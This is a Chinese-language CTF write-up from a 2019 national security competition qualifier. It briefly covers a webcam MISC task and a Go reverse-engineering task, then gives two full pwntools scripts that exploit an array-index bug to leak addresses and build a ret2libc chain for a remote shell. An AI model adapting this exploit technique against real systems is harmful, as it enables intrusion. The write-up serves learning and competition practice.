2019-04-21 | UNLOCK

2019-4-21-第十二届全国信息竞赛预赛

MISC-签到

打开exe文件,报错,出现opencv的字样,估计是图像识别,果断打开摄像头,发现人头会被绿圈圈出,题目是三人行,因为是单人队伍,只好手机百度人像让他识别了。

RE-easyGo

第一天就一道re,easygo,百度查可能是go语言写的,找不到函数入口,然后这题几分钟就被人秒了,我就估计是非常简单的,然后直接查字符串,flag、congr、correct、Try之类的,最后发现几个说明flag正确或失败的字符串都在sub_495150被调用,然后在几个调用点下断点,就发现flag在寄存器里
avatar
avatar

PWN-your_pwn

avatar
溢出点挺明显的,对数组边界没有进行检查,造成任意地址写入和任意地址泄露
因为程序开了NX和PIE,所以在执行ret2libc的时候要先泄露地址
初步想法是
拿到返回地址
计算出rop rdi
计算出system_plt
拿到栈地址
计算出/bin/sh的地址

下一轮

放入/bin/sh
修改返回rop
修改/bin/sh_addr
修改system_plt

Objdump -s pwn查看程序plt表,没发现system,但是发现了puts
因为程序加载的基址是不会对地址最后12bit进行随机化的,所以可以根据后12位判断libc库,https://libc.blukat.me/
写泄露脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
elf=ELF('./pwn',checksec=False)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
s=remote('39.97.228.196',60007)
context.log_level='debug'

def getaddr(num,addr):
s.sendlineafter('input index',str(num))
re=s.recvuntil('input')[-8:-6]
if int(re,16)<=15:
addr="0"+hex(int(re,16))[2:]+addr
else:
addr=str(hex(int(re,16)))[2:]+addr
s.sendlineafter('new value',str(int(re,16)))
# print addr
return addr

def edit(num,addr):
s.sendlineafter('input index',str(num))
re=s.recvuntil('input')[-8:-6]
# addr=str(hex(int(re,16)))[2:]+addr
s.sendlineafter('new value',str(int(addr,16)))

s.sendlineafter('name:',"yes")

b11_addr=''
for i in range(0,8):
b11_addr=getaddr(344+i,b11_addr)
print "b11_addr:"+b11_addr

base_addr=int(b11_addr,16)-0xb11
#system_plt=base_addr+elf.plt['system']
popedi_addr=base_addr+0xd03

stack_addr=''
for i in range(0,8):
stack_addr=getaddr(344-8+i,stack_addr)
print "stack_addr:"+stack_addr

bin_addr=int(stack_addr,16)-0x100

libc_addr=''
for i in range(0,8):
libc_addr=getaddr(632+i,libc_addr)
print "libc_addr:"+libc_addr
libcb=int(libc_addr,16)
libca=int(libc_addr,16)-231-libc.symbols['__libc_start_main']
puts_plt=base_addr+elf.plt['puts']

bad='0'
for i in range(0,24-8+1):
getaddr(1,bad)

s.sendlineafter("do you want continue(yes/no)?","yes")

popedi=str(hex(popedi_addr)[2:])
popedi=popedi.zfill(16)
for i in range(0,8):
edit(344+i,popedi[2*(8-i)-2:2*(8-i)])

#bin=str(hex(bin_addr)[2:])
#bin=bin.zfill(16)
libcaddr=hex(int(libc_addr,16))[2:]
libcaddr=libcaddr.zfill(16)
for i in range(0,8):
edit(344+8+i,libcaddr[2*(8-i)-2:2*(8-i)])

putsplt=str(hex(puts_plt)[2:])
putsplt=putsplt.zfill(16)
print "puts_plt:"+putsplt
for i in range(0,8):
edit(344+16+i,putsplt[2*(8-i)-2:2*(8-i)])

bin_sh="/bin/sh\x00"
for i in range(0,8):
edit(344+24+i,hex(ord(bin_sh[(i):(i+1)]))[2:])
#gdb.attach(s)
for i in range(0,24-8-8+1):
getaddr(1,bad)
s.sendlineafter("do you want continue(yes/no)?","yes")

print(s.recv(1024))
s.interactive()

avatar
可以看到返回的值,puts遇到/x00会结束

但是这里我遇到了一个坑,就是我kali环境下gdb里显示栈里存放的是libc_start+231,导致我在把获得的后12位去libc库上查不到,之后我想找几个ubuntu的libc查查89 c7 e8 f9 97 01是否存在,然后第一次就在我的ubuntu16上找到了

avatar
一算偏移发现是240,于是构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
elf=ELF('./pwn',checksec=False)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
s=remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com',57856)
context.log_level='debug'

def getaddr(num,addr):
s.sendlineafter('input index',str(num))
re=s.recvuntil('input')[-8:-6]
if int(re,16)<=15:
addr="0"+hex(int(re,16))[2:]+addr
else:
addr=str(hex(int(re,16)))[2:]+addr
s.sendlineafter('new value',str(int(re,16)))
# print addr
return addr

def edit(num,addr):
s.sendlineafter('input index',str(num))
re=s.recvuntil('input')[-8:-6]
# addr=str(hex(int(re,16)))[2:]+addr
s.sendlineafter('new value',str(int(addr,16)))

s.sendlineafter('name:',"yes")

b11_addr=''
for i in range(0,8):
b11_addr=getaddr(344+i,b11_addr)
print "b11_addr:"+b11_addr

base_addr=int(b11_addr,16)-0xb11
#system_plt=base_addr+elf.plt['system']
popedi_addr=base_addr+0xd03

stack_addr=''
for i in range(0,8):
stack_addr=getaddr(344-8+i,stack_addr)
print "stack_addr:"+stack_addr

bin_addr=int(stack_addr,16)-0x100

libc_addr=''
for i in range(0,8):
libc_addr=getaddr(632+i,libc_addr)
print "libc_addr:"+libc_addr

libca=int(libc_addr,16)-240-0x20740
system_plt=libca+0x45390

bad='0'
for i in range(0,24-8+1):
getaddr(1,bad)

s.sendlineafter("do you want continue(yes/no)?","yes")

popedi=str(hex(popedi_addr)[2:])
popedi=popedi.zfill(16)
for i in range(0,8):
edit(344+i,popedi[2*(8-i)-2:2*(8-i)])

bin=str(hex(bin_addr)[2:])
bin=bin.zfill(16)
for i in range(0,8):
edit(344+8+i,bin[2*(8-i)-2:2*(8-i)])

syst=str(hex(system_plt)[2:])
syst=syst.zfill(16)
print "system:"+syst
for i in range(0,8):
edit(344+16+i,syst[2*(8-i)-2:2*(8-i)])

bin_sh="/bin/sh\x00"
for i in range(0,8):
edit(344+24+i,hex(ord(bin_sh[(i):(i+1)]))[2:])
#gdb.attach(s)
for i in range(0,24-8-8+1):
getaddr(1,bad)
s.interactive()

结果就成功拿到进入shell,这次比赛比较奇怪,拿到shell后弹出的是congritulation,然后输入token值就拿到flag了,不懂是怎么实现的,原本我还想现学现写个Dynelf的leak函数来搜索内存的,就是在puts后面再放个libc_start的地址,构成一个可以不断循环的leak函数,然后调用Dynelf函数就能搜索指定的函数起始地址了。

第二天看了眼babypwn没思路,加上有事就没打了

评论加载中